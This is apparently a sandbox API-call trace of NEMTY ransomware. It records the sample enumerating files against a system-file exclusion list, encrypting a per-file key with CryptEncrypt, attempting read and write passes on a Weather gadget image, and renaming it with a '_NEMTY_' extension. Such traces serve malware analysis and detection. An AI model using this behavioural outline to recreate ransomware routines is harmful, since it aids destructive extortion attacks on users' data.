[0152.819] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86d6a1d1, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86d6a1d1, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x37237e3f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2f0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="(144DPI)greenStateIcon.png", cAlternateFileName="")) returned 1 [0152.819] lstrcmpiW (lpString1="(144DPI)greenStateIcon.png", lpString2=".") returned -1 [0152.819] lstrcmpiW (lpString1="(144DPI)greenStateIcon.png", lpString2="..") returned -1 [0152.819] lstrcmpiW (lpString1="(144DPI)greenStateIcon.png", lpString2="...") returned -1 [0152.819] lstrcmpiW (lpString1="(144DPI)greenStateIcon.png", lpString2="windows") returned -1 [0152.819] lstrcmpiW (lpString1="(144DPI)greenStateIcon.png", lpString2="$RECYCLE.BIN") returned 1 [0152.819] lstrcmpiW (lpString1="(144DPI)greenStateIcon.png", lpString2="rsa") returned -1 [0152.819] lstrcmpiW (lpString1="(144DPI)greenStateIcon.png", lpString2="NTDETECT.COM") returned -1 [0152.819] lstrcmpiW (lpString1="(144DPI)greenStateIcon.png", lpString2="ntldr") returned -1 [0152.819] lstrcmpiW (lpString1="(144DPI)greenStateIcon.png", lpString2="MSDOS.SYS") returned -1 [0152.819] lstrcmpiW (lpString1="(144DPI)greenStateIcon.png", lpString2="IO.SYS") returned -1 [0152.819] lstrcmpiW (lpString1="(144DPI)greenStateIcon.png", lpString2="boot.ini") returned -1 [0152.819] lstrcmpiW (lpString1="(144DPI)greenStateIcon.png", lpString2="boot.ini") returned -1 [0152.819] lstrcmpiW (lpString1="(144DPI)greenStateIcon.png", lpString2="AUTOEXEC.BAT") returned -1 [0152.819] lstrcmpiW (lpString1="(144DPI)greenStateIcon.png", lpString2="ntuser.dat") returned -1 [0152.819] lstrcmpiW (lpString1="(144DPI)greenStateIcon.png", lpString2="desktop.ini") returned -1 [0152.819] lstrcmpiW (lpString1="(144DPI)greenStateIcon.png", lpString2="CONFIG.SYS") returned -1 [0152.819] lstrcmpiW (lpString1="(144DPI)greenStateIcon.png", lpString2="RECYCLER") returned -1 [0152.819] lstrcmpiW (lpString1="(144DPI)greenStateIcon.png", lpString2="BOOTSECT.BAK") returned -1 [0152.819] lstrcmpiW (lpString1="(144DPI)greenStateIcon.png", lpString2="bootmgr") returned -1 [0152.819] lstrcmpiW (lpString1="(144DPI)greenStateIcon.png", lpString2="programdata") returned -1 [0152.819] lstrcmpiW (lpString1="(144DPI)greenStateIcon.png", lpString2="appdata") returned -1 [0152.819] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0152.819] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(144DPI)greenStateIcon.png", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0152.819] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0152.819] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(144DPI)greenStateIcon.png", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(144DPI)greenStateIcon.png", lpUsedDefaultChar=0x0) returned 26 [0152.819] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0152.819] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0152.819] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(144DPI)greenStateIcon.png", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0152.819] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0152.819] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(144DPI)greenStateIcon.png", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(144DPI)greenStateIcon.png", lpUsedDefaultChar=0x0) returned 26 [0152.819] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0152.819] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0152.820] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0152.820] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0152.820] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(144DPI)greenStateIcon.png", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0152.820] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0152.820] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(144DPI)greenStateIcon.png", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(144DPI)greenStateIcon.png", lpUsedDefaultChar=0x0) returned 26 [0152.820] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0152.820] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0152.820] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(144DPI)greenStateIcon.png", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0152.820] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0152.820] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(144DPI)greenStateIcon.png", cchWideChar=26, lpMultiByteStr=0x4f9ed08, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(144DPI)greenStateIcon.png", lpUsedDefaultChar=0x0) returned 26 [0152.820] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0152.820] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63400d0 [0152.820] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0152.820] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63401a8 [0152.820] Sleep (dwMilliseconds=0x5) [0152.831] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0xebdc390, dwHighDateTime=0x1d561e8)) [0152.831] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0xebdc390, dwHighDateTime=0x1d561e8)) [0152.831] GetLastError () returned 0x5 [0152.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0152.831] GetLastError () returned 0x5 [0152.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0152.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0152.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0152.831] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0152.831] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0152.831] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0152.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340280 [0152.831] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340280, pcchString=0x653e5dc | out: pszString="sXP+oHY8K8OoCXFgkQ7p73/LHFa9UH7TYbJ8BSKmgWKuhMxCUrjBHqTB+3DUSZ7U\r\np9tdKMQ7uR+O+LOOJj0fWbMvuP0KZPbe3ZekIfFIjaXlu92uPdjv/ciDAwfrcHaZ\r\n6DmrJL4/Th7298bzofnLiObVrM3yoKYcL6SQaHW6KR+9Y4FUKUPtgyfXu22AO+Tb\r\n+BIwwZnPk2/clNlMoh3Sv+OL5cvaOZ0MGl5NUC8hKvEQaRqBYxzyfKjKWbXSPagL\r\nKYfb3Vrwf8/bZiEvsLtTP9phZ5G3+VhJRwNot415yRlNwtuLDX3Ye/vtZYpN8VWz\r\nSyEVfdnfrI2kpWpLKkMgAg==\r\n", pcchString=0x653e5dc) returned 1 [0152.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0152.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0152.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0152.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0152.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340280 [0152.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0152.832] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI\\(144DPI)greenStateIcon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\144dpi\\(144dpi)greenstateicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.832] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=18150282790955108) returned 0 [0152.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0152.832] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.832] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0152.841] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.841] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.841] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.841] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0152.850] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.850] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.850] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.850] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0152.859] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.859] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.860] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.860] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0152.869] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.869] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.869] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.869] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0152.878] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.878] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.878] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.878] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0152.887] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.887] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.887] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.887] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0152.897] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.898] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.898] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.898] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0152.907] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.907] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.907] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.907] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0152.916] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.916] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.916] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.916] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0152.925] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.925] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.925] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.925] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0152.931] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.931] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.931] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.931] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0152.937] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.937] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.937] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106162276, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.937] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340280, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.937] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0152.938] CloseHandle (hObject=0xffffffff) returned 0 [0152.938] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63403f0 [0152.938] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0152.938] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0152.938] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0152.938] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0152.938] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0152.938] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63404c8 [0152.938] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6343fe8 [0152.938] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404c8 | out: hHeap=0x4f90000) returned 1 [0152.938] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0152.938] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI\\(144DPI)greenStateIcon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\144dpi\\(144dpi)greenstateicon.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI\\(144DPI)greenStateIcon.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\144dpi\\(144dpi)greenstateicon.png._nemty_kgobjgd_")) returned 0 [0152.938] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0152.938] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f0 | out: hHeap=0x4f90000) returned 1 [0152.938] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0152.938] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0152.938] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0152.938] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0152.938] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0152.938] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0152.938] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0152.938] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0152.938] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86d9032e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86d9032e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x37237e3f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3c3, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="(144DPI)notConnectedStateIcon.png", cAlternateFileName="")) returned 1 [0152.938] lstrcmpiW (lpString1="(144DPI)notConnectedStateIcon.png", lpString2=".") returned -1 [0152.938] lstrcmpiW (lpString1="(144DPI)notConnectedStateIcon.png", lpString2="..") returned -1 [0152.938] lstrcmpiW (lpString1="(144DPI)notConnectedStateIcon.png", lpString2="...") returned -1 [0152.938] lstrcmpiW (lpString1="(144DPI)notConnectedStateIcon.png", lpString2="windows") returned -1 [0152.938] lstrcmpiW (lpString1="(144DPI)notConnectedStateIcon.png", lpString2="$RECYCLE.BIN") returned 1 [0152.938] lstrcmpiW (lpString1="(144DPI)notConnectedStateIcon.png", lpString2="rsa") returned -1 [0152.938] lstrcmpiW (lpString1="(144DPI)notConnectedStateIcon.png", lpString2="NTDETECT.COM") returned -1 [0152.938] lstrcmpiW (lpString1="(144DPI)notConnectedStateIcon.png", lpString2="ntldr") returned -1 [0152.939] lstrcmpiW (lpString1="(144DPI)notConnectedStateIcon.png", lpString2="MSDOS.SYS") returned -1 [0152.939] lstrcmpiW (lpString1="(144DPI)notConnectedStateIcon.png", lpString2="IO.SYS") returned -1 [0152.939] lstrcmpiW (lpString1="(144DPI)notConnectedStateIcon.png", lpString2="boot.ini") returned -1 [0152.939] lstrcmpiW (lpString1="(144DPI)notConnectedStateIcon.png", lpString2="boot.ini") returned -1 [0152.939] lstrcmpiW (lpString1="(144DPI)notConnectedStateIcon.png", lpString2="AUTOEXEC.BAT") returned -1 [0152.939] lstrcmpiW (lpString1="(144DPI)notConnectedStateIcon.png", lpString2="ntuser.dat") returned -1 [0152.939] lstrcmpiW (lpString1="(144DPI)notConnectedStateIcon.png", lpString2="desktop.ini") returned -1 [0152.939] lstrcmpiW 